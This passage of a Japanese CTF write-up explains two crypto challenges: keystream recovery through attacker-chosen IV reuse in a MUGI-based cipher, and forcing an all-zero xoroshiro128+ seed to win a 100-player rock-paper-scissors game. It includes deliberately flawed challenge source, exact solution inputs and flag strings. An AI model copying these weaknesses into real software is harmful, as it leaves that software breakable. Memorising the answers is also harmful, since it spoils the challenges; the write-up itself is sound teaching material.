    destiny_tea_index = <span class="hljs-built_in">int</span>.from_bytes(yourPKSG.nextrand()) % <span class="hljs-number">6</span>
    <span class="hljs-built_in">print</span>(
        <span class="hljs-string">f&quot;Time to cool down. Today&apos;s Exciting Tea Omikuji says... [<span class="hljs-subst">{tea_list[destiny_tea_index]}</span>]! Enjoy!&quot;</span>)


<span class="hljs-keyword">if</span> __name__ == <span class="hljs-string">&apos;__main__&apos;</span>:
    <span class="hljs-keyword">try</span>:
        main()
    <span class="hljs-keyword">except</span>:
        <span class="hljs-built_in">print</span>(<span class="hljs-string">&quot;\nOops, looks like we got too excited and short-circuited. Bye!&quot;</span>)
</code></pre>
</details>
<p><code>BoringRandom</code> &#x3068;&#x3044;&#x3046;&#x4E71;&#x6570;&#x751F;&#x6210;&#x5668;&#x30AF;&#x30E9;&#x30B9;&#x3092;&#x4F7F;&#x7528;&#x3057;&#x3001;&#x79D8;&#x533F;&#x3055;&#x308C;&#x305F;16bytes&#x306E;<code>secret_key</code>&#x3068;&#x516C;&#x958B;&#x3055;&#x308C;&#x305F;16bytes&#x306E;<code>exciting_iv</code>&#x3092;&#x7528;&#x3044;&#x3066;&#x4F5C;&#x3063;&#x305F;<code>keysteam</code>&#x3068;xor&#x3059;&#x308B;&#x3053;&#x3068;&#x3067;flag&#x3092;&#x6697;&#x53F7;&#x5316;&#x3057;&#x3066;&#x3044;&#x307E;&#x3059;&#x3002;</p>
<p>&#x305D;&#x306E;&#x5F8C;&#x3001;<code>secret_key</code>(&#x305D;&#x306E;&#x307E;&#x307E;)&#x3068;&#x30E6;&#x30FC;&#x30B6;&#x30FC;&#x306E;&#x5165;&#x529B;&#x3057;&#x305F;<code>very_exciting_iv</code>&#x3092;&#x4F7F;&#x3063;&#x3066;&#x30E6;&#x30FC;&#x30B6;&#x30FC;&#x304C;&#x81EA;&#x7531;&#x306B;&#x5165;&#x529B;&#x3067;&#x304D;&#x308B; <code>very_exciting_input</code> &#x3092;&#x540C;&#x69D8;&#x306B;&#x6697;&#x53F7;&#x5316;&#x3057;&#x3066;&#x3044;&#x307E;&#x3059;&#x3002;</p>
<p>&#x3084;&#x308A;&#x53D6;&#x308A;&#x3092;&#x5229;&#x7528;&#x3057;&#x3066;&#x6697;&#x53F7;&#x5316;&#x3055;&#x308C;&#x305F;<code>exciting_flag</code>&#x3092;&#x9811;&#x5F35;&#x3063;&#x3066;&#x5FA9;&#x53F7;&#x3057;&#x3066;flag&#x3092;&#x5165;&#x624B;&#x3057;&#x305F;&#x3044;&#x3067;&#x3059;&#x306D;&#x3002;</p>
<h3 id="%E8%A7%A3%E6%B3%95">&#x89E3;&#x6CD5;</h3>
<p><code>very_exciting_iv</code>&#x3068;&#x3057;&#x3066;<code>exciting_iv</code>&#x3068;&#x540C;&#x3058;&#x3082;&#x306E;&#x3092;&#x5165;&#x529B;&#x3059;&#x308B;&#x3068;&#x5168;&#x304F;&#x540C;&#x3058;<code>keystream</code>&#x304C;&#x751F;&#x6210;&#x3055;&#x308C;&#x307E;&#x3059;&#x3002;<br>
xor&#x306E;&#x6027;&#x8CEA;&#x3088;&#x308A;&#x3001;&#x6697;&#x53F7;&#x6587;&#x3067;&#x3042;&#x308B;<code>enc_your_favorite</code>&#x3068;&#x6697;&#x53F7;&#x5316;&#x524D;&#x306E;&#x5E73;&#x6587;&#x3067;&#x3042;&#x308B;<code>your_favorite</code>&#x304C;&#x308F;&#x304B;&#x308B;&#x3068;<code>keystream</code>&#x304C;&#x7279;&#x5B9A;&#x3067;&#x304D;&#x307E;&#x3059;&#x3002;<code>your_favorite</code>&#x3068;&#x3057;&#x3066;&#x9577;&#x3081;&#x306E;&#x5217;&#x3092;&#x9078;&#x3079;&#x3070;<code>keystream</code>&#x3082;&#x305D;&#x306E;&#x9577;&#x3055;&#x3060;&#x3051;&#x7279;&#x5B9A;&#x3067;&#x304D;&#x307E;&#x3059;&#x3002;<br>
&#x5341;&#x5206;&#x306A;&#x9577;&#x3055;&#x306E;<code>keystream</code>&#x3092;&#x7279;&#x5B9A;&#x3067;&#x304D;&#x305F;&#x3089;&#x3001;<code>exciting_flag</code>&#x3068;xor&#x3059;&#x308B;&#x3053;&#x3068;&#x3067;<code>secret_flag_plaintext</code>&#x3092;&#x7279;&#x5B9A;&#x3067;&#x304D;&#x307E;&#x3059;&#x3002;</p>
<p>iv&#x304C;&#x9078;&#x629E;&#x3067;&#x304D;&#x3066;&#x3057;&#x307E;&#x3046;&#x305F;&#x3081;&#x3001;flag&#x306E;&#x6697;&#x53F7;&#x5316;&#x306B;&#x4F7F;&#x3063;&#x305F;keystream&#x3068;&#x540C;&#x3058;&#x3082;&#x306E;&#x3092;&#x751F;&#x6210;&#x3067;&#x304D;&#x3001;&#x7279;&#x5B9A;&#x3067;&#x304D;&#x307E;&#x3059;&#x3002;</p>
<p>&#x4E00;&#x822C;&#x306B;&#x3001;&#x7591;&#x4F3C;&#x4E71;&#x6570;&#x751F;&#x6210;&#x5668;&#x306F; (&#x5185;&#x90E8;&#x72B6;&#x614B;, &#x5185;&#x90E8;&#x72B6;&#x614B;&#x3092;&#x66F4;&#x65B0;&#x3059;&#x308B;&#x95A2;&#x6570;, &#x5185;&#x90E8;&#x72B6;&#x614B;&#x3092;&#x52A0;&#x5DE5;&#x3057;&#x3066;&#x4E71;&#x6570;&#x3092;&#x751F;&#x6210;&#x3059;&#x308B;&#x95A2;&#x6570;) &#x306E;3&#x3064;&#x304B;&#x3089;&#x306A;&#x308A;&#x307E;&#x3059;&#x3002;<br>
&#x5168;&#x3066;&#x306E;&#x95A2;&#x6570;&#x306F;&#x6C7A;&#x5B9A;&#x7684;&#x3067;&#x3042;&#x308A;&#x3069;&#x3053;&#x306B;&#x3082;&#x30E9;&#x30F3;&#x30C0;&#x30E0;&#x8981;&#x7D20;&#x306F;&#x3042;&#x308A;&#x307E;&#x305B;&#x3093;&#x3002;&#x5185;&#x90E8;&#x72B6;&#x614B;&#x3055;&#x3048;&#x308F;&#x304B;&#x308C;&#x3070;&#x305D;&#x306E;&#x5148;&#x306E;&#x5185;&#x90E8;&#x72B6;&#x614B;&#x306E;&#x66F4;&#x65B0;&#x3082;&#x4E71;&#x6570;&#x306E;&#x751F;&#x6210;&#x3082;&#x6C7A;&#x5B9A;&#x7684;&#x3067;&#x3042;&#x308B;&#x305F;&#x3081;&#x3001;&#x540C;&#x3058;&#x4E71;&#x6570;&#x304C;&#x751F;&#x6210;&#x3055;&#x308C;&#x307E;&#x3059;&#x3002;</p>
<p>&#x4ECA;&#x56DE;&#x306E;&#x4E71;&#x6570;&#x751F;&#x6210;&#x5668;&#x3067;&#x306F;&#x3001;&#x5185;&#x90E8;&#x72B6;&#x614B;&#x3068;&#x3057;&#x3066;64bit&#x6574;&#x6570;19&#x500B;&#x3092;&#x3001;&#x5185;&#x90E8;&#x72B6;&#x614B;&#x3092;&#x66F4;&#x65B0;&#x3059;&#x308B;&#x95A2;&#x6570;&#x3068;&#x3057;&#x3066;<code>_update</code>&#x3092;&#x3001;&#x5185;&#x90E8;&#x72B6;&#x614B;&#x304B;&#x3089;&#x4E71;&#x6570;&#x3092;&#x751F;&#x6210;&#x3059;&#x308B;&#x95A2;&#x6570;&#x3068;&#x3057;&#x3066;&#x5185;&#x90E8;&#x72B6;&#x614B;&#x306E;64bit&#x6574;&#x6570;&#x3092;&#x6301;&#x3063;&#x3066;&#x304F;&#x308B;<code>a[2]</code>&#x3092;&#x4F7F;&#x7528;&#x3057;&#x3066;&#x3044;&#x307E;&#x3059;&#x3002;<br>
&#x7591;&#x4F3C;&#x4E71;&#x6570;&#x3067;&#x306F;&#x5185;&#x90E8;&#x72B6;&#x614B;&#x304C;&#x7279;&#x5B9A;&#x3067;&#x304D;&#x308C;&#x3070;&#x305D;&#x306E;&#x5F8C;&#x306B;&#x751F;&#x6210;&#x3055;&#x308C;&#x308B;&#x4E71;&#x6570;&#x304C;&#x5168;&#x3066;&#x308F;&#x304B;&#x308A;&#x307E;&#x3059;&#x3002;&#x6697;&#x53F7;&#x306B;&#x7528;&#x3044;&#x3089;&#x308C;&#x308B;&#x4E71;&#x6570;&#x3067;&#x306F;&#x4E71;&#x6570;&#x306E;&#x51FA;&#x529B;&#x304B;&#x3089;&#x5185;&#x90E8;&#x72B6;&#x614B;&#x304C;&#x7279;&#x5B9A;&#x3067;&#x304D;&#x306A;&#x3044;&#x3088;&#x3046;&#x306B;&#x5DE5;&#x592B;&#x304C;&#x3055;&#x308C;&#x3066;&#x3044;&#x307E;&#x3059;&#x304C;&#x3001;&#x4ECA;&#x56DE;&#x306E;&#x3088;&#x3046;&#x306B;&#x5185;&#x90E8;&#x72B6;&#x614B;&#x3092;&#x8A2D;&#x5B9A;&#x3059;&#x308B;&#x90E8;&#x5206;&#x3092;&#x76F4;&#x306B;&#x89E6;&#x308C;&#x308B;&#x3068;&#x8272;&#x3005;&#x3068;&#x60AA;&#x3044;&#x3053;&#x3068;&#x3092;&#x3067;&#x304D;&#x3066;&#x3057;&#x307E;&#x3044;&#x307E;&#x3059;&#x306D;&#x3002;</p>
<p><code>BoringRandom</code>&#x306F;CRYPTREC &#x63A8;&#x5968;&#x5019;&#x88DC;&#x6697;&#x53F7;<sup class="footnote-ref"><a href="#fn-btxqz6d-1" id="fnref-btxqz6d-1">[1]</a></sup>&#x3067;&#x3042;&#x308B; MUGI &#x3092;&#x7528;&#x3044;&#x3066;&#x3044;&#x307E;&#x3059;&#x3002;&#x73FE;&#x6642;&#x70B9;&#x3067;&#x306F;&#x3053;&#x306E;&#x6697;&#x53F7;&#x81EA;&#x4F53;&#x306B;&#x6DF1;&#x523B;&#x306A;&#x554F;&#x984C;&#x306F;&#x898B;&#x3064;&#x304B;&#x3063;&#x3066;&#x3044;&#x307E;&#x305B;&#x3093;&#x3002;<br>
<small><span style="color:rgba( 0, 0, 0, 0.1);"> &#x9000;&#x5C48;&#x3067;&#x30EF;&#x30AF;&#x30EF;&#x30AF;&#x3057;&#x306A;&#x3044;&#x5730;&#x5473;&#x306A;MUGI&#x2026;&#x2026;&#xFF1F; Today&apos;s Exciting Tea Omikuji&#x3063;&#x3066;&#x306A;&#x3093;&#x3060;&#xFF1F;O,NI,CHA &#x2026;&#x2026;&#xFF1F;</span></small></p>
<h3 id="%E6%84%9F%E6%83%B3">&#x611F;&#x60F3;</h3>
<p>&#x64EC;&#x4F3C;&#x4E71;&#x6570;&#x751F;&#x6210;&#x5668;&#x306F;&#x521D;&#x671F;&#x60C5;&#x5831;&#x3067;&#x3042;&#x308B;seed&#x3001;&#x4ECA;&#x56DE;&#x3067;&#x3042;&#x308C;&#x3070;&#x9375;(key)&#x3068;&#x521D;&#x671F;&#x5316;&#x30D9;&#x30AF;&#x30C8;&#x30EB;(IV)&#x304B;&#x3089;&#x6570;&#x5217;&#x3092;&#x4F5C;&#x308B;&#x88C5;&#x7F6E;&#x306A;&#x306E;&#x3067;&#x521D;&#x671F;&#x72B6;&#x614B;&#x304C;&#x540C;&#x4E00;&#x306A;&#x3089;&#x751F;&#x6210;&#x3055;&#x308C;&#x308B;&#x6570;&#x5217;&#x3082;&#x540C;&#x4E00;&#x306B;&#x306A;&#x308A;&#x307E;&#x3059;&#x3002;&#x4E71;&#x6570;&#x3068;&#x3044;&#x3063;&#x3066;&#x3082;&#x6A5F;&#x68B0;&#x3067;&#x4F5C;&#x308B;&#x7591;&#x4F3C;&#x4E71;&#x6570;&#x306B;&#x306F;&#x9650;&#x754C;&#x306F;&#x3042;&#x308B;&#x3057;&#x3001;&#x4E71;&#x6570;&#x751F;&#x6210;&#x306E;&#x64CD;&#x4F5C;&#x3082;&#x5B9F;&#x88C5;&#x3059;&#x308B;&#x3060;&#x3051;&#x306A;&#x3089;&#x610F;&#x5916;&#x306B;&#x5358;&#x7D14;&#x306A;&#x3093;&#x3067;&#x3059;&#x3088;&#x306D;&#x3002;</p>
<p>Lv.2&#x3068;&#x3057;&#x3066;&#x653B;&#x6483;&#x306B;&#x4F7F;&#x3046;&#x30C7;&#x30FC;&#x30BF;&#x3092;&#x81EA;&#x5206;&#x3067;&#x7528;&#x610F;&#x3057;&#x3066;&#x3082;&#x3089;&#x3046;&#x5F62;&#x5F0F;&#x306E;&#x554F;&#x984C;&#x306B;&#x3057;&#x305F;&#x304B;&#x3063;&#x305F;&#x306E;&#x3067;&#x3001;IV&#x3068;&#x5E73;&#x6587;&#x3092;&#x9078;&#x629E;&#x3057;&#x3066;&#x3082;&#x3089;&#x3046;&#x5F62;&#x306B;&#x3057;&#x307E;&#x3057;&#x305F;&#x3002;&#x6697;&#x53F7;&#x5316;&#x5F8C;&#x306E;flag&#x3092;&#x305D;&#x306E;&#x307E;&#x307E;&#x3082;&#x3046;&#x4E00;&#x5EA6;&#x6697;&#x53F7;&#x5316;&#x3057;&#x3066;&#x5E73;&#x6587;&#x306B;&#x623B;&#x305B;&#x305F;&#x3089;&#x7DBA;&#x9E97;&#x3067;&#x3059;&#x304C;&#x3001;&#x4F55;&#x304B;&#x3057;&#x3089;&#x624B;&#x5143;&#x3067;xor&#x3092;&#x3084;&#x3063;&#x3066;&#x6B32;&#x3057;&#x3044;&#x306E;&#x3067;&#x5F3E;&#x304D;&#x307E;&#x3057;&#x305F;&#x3002;</p>
<p>&#x3053;&#x3093;&#x306A;&#x8AA4;&#x7B54;&#x304C;&#x3042;&#x308A;&#x307E;&#x3057;&#x305F;&#x3002;&#x6559;&#x80B2;&#x7684;&#x306A;flag&#x3092;&#x8003;&#x3048;&#x3066;&#x3044;&#x3066;&#x3048;&#x3089;&#x3044;&#x3067;&#x3059;&#x306D;&#x3002;</p>
<ul>
<li><code>CPCTF{x0r_5tr34m_c1ph3r_15_v3ry_3xc1t1ng!}</code>
<ul>
<li>XOR stream cipher is very exciting! &#x308F;&#x304B;&#x308B;&#x3002;&#x308F;&#x304B;&#x308A;&#x307E;&#x3059;&#x3002;&#x9006;&#x5143;&#x304C;&#x81EA;&#x8EAB;&#x3067;&#x3042;&#x308B;&#x304A;&#x304B;&#x3052;&#x3067;&#x6697;&#x53F7;&#x5316;/&#x5FA9;&#x53F7;&#x306E;&#x51E6;&#x7406;&#x304C;&#x540C;&#x3058;&#x306B;&#x306A;&#x3063;&#x3066;&#x5B9F;&#x88C5;&#x304C;&#x30B7;&#x30F3;&#x30D7;&#x30EB;&#x306B;&#x306A;&#x308B;&#x5B9F;&#x7528;&#x6027;&#x91CD;&#x8996;&#x306E;&#x6F14;&#x7B97;&#x306B;&#x898B;&#x3048;&#x308B;&#x306E;&#x306B;&#x3001;OTP&#x307F;&#x305F;&#x3044;&#x306A;&#x6700;&#x5F37;&#x306E;&#x5B89;&#x5168;&#x6027;&#x306B;&#x3082;&#x51FA;&#x3066;&#x304F;&#x308B;&#x306E;&#x9762;&#x767D;&#x3059;&#x304E;&#x308B;&#x3002;&#x4E8C;&#x5143;&#x4F53;&#x304C;&#x5B09;&#x3057;&#x3059;&#x304E;&#x308B;&#x3002;</li>
</ul>
</li>
<li><code>CPCTF{D0_n0t_r3us3_th3_IV_in_str34m_c1ph3rs!!}</code>
<ul>
<li>&#x6559;&#x80B2;&#x7684;&#x3060;&#x304B;&#x3089;flag&#x3053;&#x308C;&#x306B;&#x3057;&#x305F;&#x65B9;&#x304C;&#x3088;&#x304B;&#x3063;&#x305F;&#x304B;&#x3082;&#x3002;leet&#x3067;<code>e</code>&#x304C;<code>3</code>&#x306B;&#x306A;&#x308B;&#x306E;&#x975E;&#x81EA;&#x660E;&#x3002;</li>
</ul>
</li>
</ul>
<h2 id="crypto-lv3-janken-master">[Crypto] Lv.3 Janken Master</h2>
<h3 id="%E5%95%8F%E9%A1%8C%E6%A6%82%E8%A6%81">&#x554F;&#x984C;&#x6982;&#x8981;</h3>
<pre class="blog-code"><code class="lang-undefined">&#x307F;&#x3093;&#x306A;&#x3067;&#x3058;&#x3083;&#x3093;&#x3051;&#x3093;&#xFF01;
</code></pre>
<p>&#x3053;&#x306E;&#x554F;&#x984C;&#x6587;&#x3082;&#x30D5;&#x30EC;&#x30FC;&#x30D0;&#x30FC;&#x30C6;&#x30AD;&#x30B9;&#x30C8;&#x306A;&#x306E;&#x3067;&#x7121;&#x8996;&#x3057;&#x3066;&#x5927;&#x4E08;&#x592B;&#x3067;&#x3059;&#x3002;<br>
<code>nc</code>&#x30B3;&#x30DE;&#x30F3;&#x30C9;&#x3067;&#x30B5;&#x30FC;&#x30D0;&#x30FC;&#x306B;TCP&#x63A5;&#x7D9A;&#x3057;&#x3066;&#x30B5;&#x30FC;&#x30D0;&#x30FC;&#x3067;&#x5B9F;&#x884C;&#x3055;&#x308C;&#x308B;Python&#x30D7;&#x30ED;&#x30B0;&#x30E9;&#x30E0;&#x3068;&#x3084;&#x308A;&#x53D6;&#x308A;&#x3092;&#x3059;&#x308B;&#x554F;&#x984C;&#x3067;&#x3059;&#x3002;<br>
&#x914D;&#x5E03;&#x30D5;&#x30A1;&#x30A4;&#x30EB;</p>
<details><summary>server.py</summary>
<pre class="blog-code"><code class="lang-python"><span class="hljs-comment">#!/usr/local/bin/python3</span>
<span class="hljs-keyword">import</span> os


<span class="hljs-keyword">class</span> <span class="hljs-title class_">Xoroshiro128Plus</span>:
    MASK = <span class="hljs-number">0xFFFFFFFFFFFFFFFF</span>

    <span class="hljs-keyword">def</span> <span class="hljs-title function_">__init__</span>(<span class="hljs-params">self, seed</span>):

        <span class="hljs-variable language_">self</span>.s = [seed &gt;&gt; <span class="hljs-number">64</span> &amp; <span class="hljs-variable language_">self</span>.MASK, seed &amp; <span class="hljs-variable language_">self</span>.MASK]

    <span class="hljs-keyword">def</span> <span class="hljs-title function_">rotl</span>(<span class="hljs-params">self, x, k</span>):
        <span class="hljs-keyword">return</span> ((x &lt;&lt; k) | (x &gt;&gt; (<span class="hljs-number">64</span> - k))) &amp; <span class="hljs-variable language_">self</span>.MASK

    <span class="hljs-keyword">def</span> <span class="hljs-title function_">next</span>(<span class="hljs-params">self</span>):
        s0 = <span class="hljs-variable language_">self</span>.s[<span class="hljs-number">0</span>]
        s1 = <span class="hljs-variable language_">self</span>.s[<span class="hljs-number">1</span>]

        result = (<span class="hljs-variable language_">self</span>.rotl((s0 + s1) &amp; <span class="hljs-variable language_">self</span>.MASK, <span class="hljs-number">17</span>) + s0) &amp; <span class="hljs-variable language_">self</span>.MASK
        s1 ^= s0
        <span class="hljs-variable language_">self</span>.s[<span class="hljs-number">0</span>] = (<span class="hljs-variable language_">self</span>.rotl(s0, <span class="hljs-number">49</span>) ^ s1 ^ (
            (s1 &lt;&lt; <span class="hljs-number">21</span>) &amp; <span class="hljs-variable language_">self</span>.MASK)) &amp; <span class="hljs-variable language_">self</span>.MASK
        <span class="hljs-variable language_">self</span>.s[<span class="hljs-number">1</span>] = <span class="hljs-variable language_">self</span>.rotl(s1, <span class="hljs-number">28</span>)

        <span class="hljs-keyword">return</span> result


<span class="hljs-keyword">def</span> <span class="hljs-title function_">main</span>():
    FLAG = os.environ.get(<span class="hljs-string">&quot;FLAG&quot;</span>, <span class="hljs-string">&quot;FLAG{DUMMY}&quot;</span>)
    NPC_COUNT = <span class="hljs-number">99</span>

    <span class="hljs-built_in">print</span>(<span class="hljs-string">&quot;=====================================================&quot;</span>)
    <span class="hljs-built_in">print</span>(<span class="hljs-string">f&quot; Welcome to the <span class="hljs-subst">{NPC_COUNT + <span class="hljs-number">1</span>}</span>-Player Rock-Paper-Scissors! &quot;</span>)
    <span class="hljs-built_in">print</span>(<span class="hljs-string">&quot; Can you become the sole winner against all NPCs?&quot;</span>)
    <span class="hljs-built_in">print</span>(<span class="hljs-string">&quot;=====================================================\n&quot;</span>)

    <span class="hljs-keyword">try</span>:
        seed_input = <span class="hljs-built_in">input</span>(<span class="hljs-string">&quot;Enter your lucky number (seed): &quot;</span>)
        seed = <span class="hljs-built_in">int</span>(seed_input)
    <span class="hljs-keyword">except</span> ValueError:
        <span class="hljs-built_in">print</span>(<span class="hljs-string">&quot;Invalid input. Please enter an integer.&quot;</span>)
        <span class="hljs-keyword">return</span>

    seed ^= <span class="hljs-number">0x1234567890abcdef1234567890abcdef</span>
    rng = Xoroshiro128Plus(seed)

    <span class="hljs-built_in">print</span>(<span class="hljs-string">&quot;\nSelect your hand:&quot;</span>)
    <span class="hljs-built_in">print</span>(<span class="hljs-string">&quot;0: Rock (&#x30B0;&#x30FC;)&quot;</span>)
    <span class="hljs-built_in">print</span>(<span class="hljs-string">&quot;1: Scissors (&#x30C1;&#x30E7;&#x30AD;)&quot;</span>)
    <span class="hljs-built_in">print</span>(<span class="hljs-string">&quot;2: Paper (&#x30D1;&#x30FC;)&quot;</span>)

    <span class="hljs-keyword">try</span>:
        player_hand = <span class="hljs-built_in">int</span>(<span class="hljs-built_in">input</span>(<span class="hljs-string">&quot;Your hand (0-2): &quot;</span>))
        <span class="hljs-keyword">if</span> player_hand <span class="hljs-keyword">not</span> <span class="hljs-keyword">in</span> [<span class="hljs-number">0</span>, <span class="hljs-number">1</span>, <span class="hljs-number">2</span>]:
            <span class="hljs-built_in">print</span>(<span class="hljs-string">&quot;Invalid hand.&quot;</span>)
            <span class="hljs-keyword">return</span>
    <span class="hljs-keyword">except</span> ValueError:
        <span class="hljs-built_in">print</span>(<span class="hljs-string">&quot;Invalid input.&quot;</span>)
        <span class="hljs-keyword">return</span>

    npc_hands = []
    <span class="hljs-keyword">for</span> _ <span class="hljs-keyword">in</span> <span class="hljs-built_in">range</span>(NPC_COUNT):
        npc_hands.append(rng.<span class="hljs-built_in">next</span>() % <span class="hljs-number">3</span>)

    rock_count = npc_hands.count(<span class="hljs-number">0</span>)
    scissors_count = npc_hands.count(<span class="hljs-number">1</span>)
    paper_count = npc_hands.count(<span class="hljs-number">2</span>)

    <span class="hljs-built_in">print</span>(<span class="hljs-string">&quot;\n--- Result ---&quot;</span>)
    <span class="hljs-built_in">print</span>(<span class="hljs-string">f&quot;Your hand: <span class="hljs-subst">{player_hand}</span>&quot;</span>)
    <span class="hljs-built_in">print</span>(
        <span class="hljs-string">f&quot;NPC hands: Rock=<span class="hljs-subst">{rock_count}</span>, Scissors=<span class="hljs-subst">{scissors_count}</span>, Paper=<span class="hljs-subst">{paper_count}</span>&quot;</span>)

    <span class="hljs-comment"># &#x52DD;&#x6557;&#x5224;&#x5B9A;</span>
    hands_in_field = <span class="hljs-built_in">set</span>(npc_hands)
    hands_in_field.add(player_hand)

    <span class="hljs-keyword">if</span> <span class="hljs-built_in">len</span>(hands_in_field) == <span class="hljs-number">3</span>:
        <span class="hljs-built_in">print</span>(<span class="hljs-string">&quot;\nDraw! All three hands appeared in the field.&quot;</span>)
    <span class="hljs-keyword">elif</span> <span class="hljs-built_in">len</span>(hands_in_field) == <span class="hljs-number">1</span>:
        <span class="hljs-built_in">print</span>(<span class="hljs-string">&quot;\nDraw! Everyone played the same hand.&quot;</span>)
    <span class="hljs-keyword">else</span>:
        <span class="hljs-keyword">if</span> (player_hand == <span class="hljs-number">0</span> <span class="hljs-keyword">and</span> <span class="hljs-number">1</span> <span class="hljs-keyword">in</span> hands_in_field) <span class="hljs-keyword">or</span> \
           (player_hand == <span class="hljs-number">1</span> <span class="hljs-keyword">and</span> <span class="hljs-number">2</span> <span class="hljs-keyword">in</span> hands_in_field) <span class="hljs-keyword">or</span> \
           (player_hand == <span class="hljs-number">2</span> <span class="hljs-keyword">and</span> <span class="hljs-number">0</span> <span class="hljs-keyword">in</span> hands_in_field):
            winner_count = <span class="hljs-number">1</span> + npc_hands.count(player_hand)
            <span class="hljs-keyword">if</span> winner_count == <span class="hljs-number">1</span>:
                <span class="hljs-built_in">print</span>(<span class="hljs-string">&quot;\nCongratulations! You are the SOLE winner!&quot;</span>)
                <span class="hljs-built_in">print</span>(<span class="hljs-string">f&quot;Here is your reward: <span class="hljs-subst">{FLAG}</span>&quot;</span>)
            <span class="hljs-keyword">else</span>:
                <span class="hljs-built_in">print</span>(
                    <span class="hljs-string">f&quot;\nYou won! But there are <span class="hljs-subst">{winner_count}</span> winners in total.&quot;</span>)
                <span class="hljs-built_in">print</span>(<span class="hljs-string">&quot;You must be the *sole* winner to get the flag.&quot;</span>)
        <span class="hljs-keyword">else</span>:
            <span class="hljs-built_in">print</span>(<span class="hljs-string">&quot;\nYou lost...&quot;</span>)


<span class="hljs-keyword">if</span> __name__ == <span class="hljs-string">&quot;__main__&quot;</span>:
    main()
</code></pre>
</details>
<p>xoroshiro128+&#x3068;&#x3044;&#x3046;&#x4E71;&#x6570;&#x751F;&#x6210;&#x30A2;&#x30EB;&#x30B4;&#x30EA;&#x30BA;&#x30E0;&#x3092;&#x7528;&#x3044;&#x305F;&#x3058;&#x3083;&#x3093;&#x3051;&#x3093;NPC&#x304C;99&#x4F53;&#x3044;&#x307E;&#x3059;&#x3002;&#x3053;&#x308C;&#x306B;&#x3042;&#x306A;&#x305F;&#x3082;&#x542B;&#x3081;&#x305F;100&#x30D7;&#x30EC;&#x30A4;&#x30E4;&#x30FC;&#x3067;&#x3058;&#x3083;&#x3093;&#x3051;&#x3093;&#x3092;&#x3059;&#x308B;&#x306E;&#x3067;&#x3001;&#x4E00;&#x767A;&#x3067;&#x4E00;&#x4EBA;&#x52DD;&#x3061;&#x3057;&#x3066;&#x304F;&#x3060;&#x3055;&#x3044;&#x3002;<br>
xoroshiro128+&#x3068;&#x3044;&#x3046;&#x4E71;&#x6570;&#x751F;&#x6210;&#x30A2;&#x30EB;&#x30B4;&#x30EA;&#x30BA;&#x30E0;&#x306E;&#x4F7F;&#x3044;&#x65B9;&#x306F;<a href="https://prng.di.unimi.it/?ref=trap.jp">https://prng.di.unimi.it/</a>&#x306B;&#x516C;&#x958B;&#x3055;&#x308C;&#x3066;&#x3044;&#x307E;&#x3059;&#x3002;</p>
<p>&#x3042;&#x306A;&#x305F;&#x306F;&#x4E71;&#x6570;&#x306E;seed&#x3092;&#x81EA;&#x7531;&#x306B;&#x8A2D;&#x5B9A;&#x3067;&#x304D;&#x307E;&#x3059;&#x3002;&#x3046;&#x307E;&#x304F;seed&#x3092;&#x8A2D;&#x5B9A;&#x3057;&#x3066;&#x3046;&#x307E;&#x3044;&#x624B;&#x3092;&#x51FA;&#x305B;&#x3070;&#x52DD;&#x3066;&#x308B;&#x304B;&#x3082;&#x306D;&#xFF01;</p>
<h3 id="%E8%A7%A3%E6%B3%95">&#x89E3;&#x6CD5;</h3>
<p><a href="https://prng.di.unimi.it/xoroshiro128plus.c?ref=trap.jp">https://prng.di.unimi.it/xoroshiro128plus.c</a>&#x306B;&#x3042;&#x308B;xoroshiro128+&#x306E;C&#x8A00;&#x8A9E;&#x3067;&#x306E;&#x5B9F;&#x88C5;&#x3092;&#x898B;&#x308B;&#x3068;&#x3001;&#x30B3;&#x30E1;&#x30F3;&#x30C8;&#x3067;<code>The state must be seeded so that it is not everywhere zero.</code>&#x3068;&#x66F8;&#x304B;&#x308C;&#x3066;&#x3044;&#x307E;&#x3059;&#x3002;<br>
xoroshiro128+&#x3067;&#x306F;&#x4E71;&#x6570;&#x306E;seed&#x3068;&#x3057;&#x3066;(0,0)&#x3092;&#x8A2D;&#x5B9A;&#x3059;&#x308B;&#x3068;&#x5185;&#x90E8;&#x72B6;&#x614B;&#x304C;&#x5168;&#x90E8;0&#x306B;&#x306A;&#x308A;&#x3001;&#x305D;&#x306E;&#x5F8C;&#x3082;&#x4E71;&#x6570;&#x3068;&#x3057;&#x3066;0&#x3057;&#x304B;&#x751F;&#x6210;&#x3055;&#x308C;&#x305A;&#x3001;&#x4E71;&#x6570;&#x306E;&#x6A5F;&#x80FD;&#x3092;&#x679C;&#x305F;&#x3057;&#x307E;&#x305B;&#x3093;&#x3002;<br>
&#x4ECA;&#x56DE;&#x306F;&#x5165;&#x529B;&#x5024;&#x306B;&#x7D30;&#x5DE5;&#x3092;&#x3057;&#x3066;&#x304B;&#x3089;seed&#x3068;&#x3057;&#x3066;&#x3044;&#x307E;&#x3059;&#x304C;&#x3001;&#x305D;&#x306E;&#x7D30;&#x5DE5;&#x304C;&#x56FA;&#x5B9A;&#x5024;<code>0x1234567890abcdef1234567890abcdef</code>&#x3068;&#x306E;xor&#x306A;&#x306E;&#x3067;&#x5165;&#x529B;&#x5024;&#x3092;<code>0x1234567890abcdef1234567890abcdef</code>&#x3068;&#x3059;&#x308C;&#x3070;seed&#x3092;0&#x306B;&#x3067;&#x304D;&#x307E;&#x3059;&#x3002;&#x5B9F;&#x969B;&#x306B;&#x306F;&#x5341;&#x9032;&#x6CD5;&#x306B;&#x76F4;&#x3057;&#x305F;<code>24197857200151252728969465429440056815</code>&#x306E;&#x5165;&#x529B;&#x304C;&#x5FC5;&#x8981;&#x3067;&#x3059;&#x3002;</p>
<p>&#x3053;&#x308C;&#x3067;&#x4E71;&#x6570;&#x3092;&#x56FA;&#x5B9A;&#x3067;&#x304D;&#x305F;&#x306E;&#x3067;&#x3001;NPC&#x306E;&#x51FA;&#x3059;&#x624B;&#x304C;&#x56FA;&#x5B9A;&#x3055;&#x308C;&#x307E;&#x3057;&#x305F;&#x3002;&#x3042;&#x3068;&#x306F;&#x52DD;&#x3064;&#x624B;&#x3092;&#x51FA;&#x305B;&#x3070;&#x826F;&#x3044;&#x3067;&#x3059;&#x3002;</p>
<h3 id="%E6%84%9F%E6%83%B3">&#x611F;&#x60F3;</h3>
<p>&#x3058;&#x3083;&#x3093;&#x3051;&#x3093;&#xFF11;&#x3064;&#x76EE;&#x3002;&#x4E00;&#x767A;&#x30AE;&#x30E3;&#x30B0;&#x3002;</p>
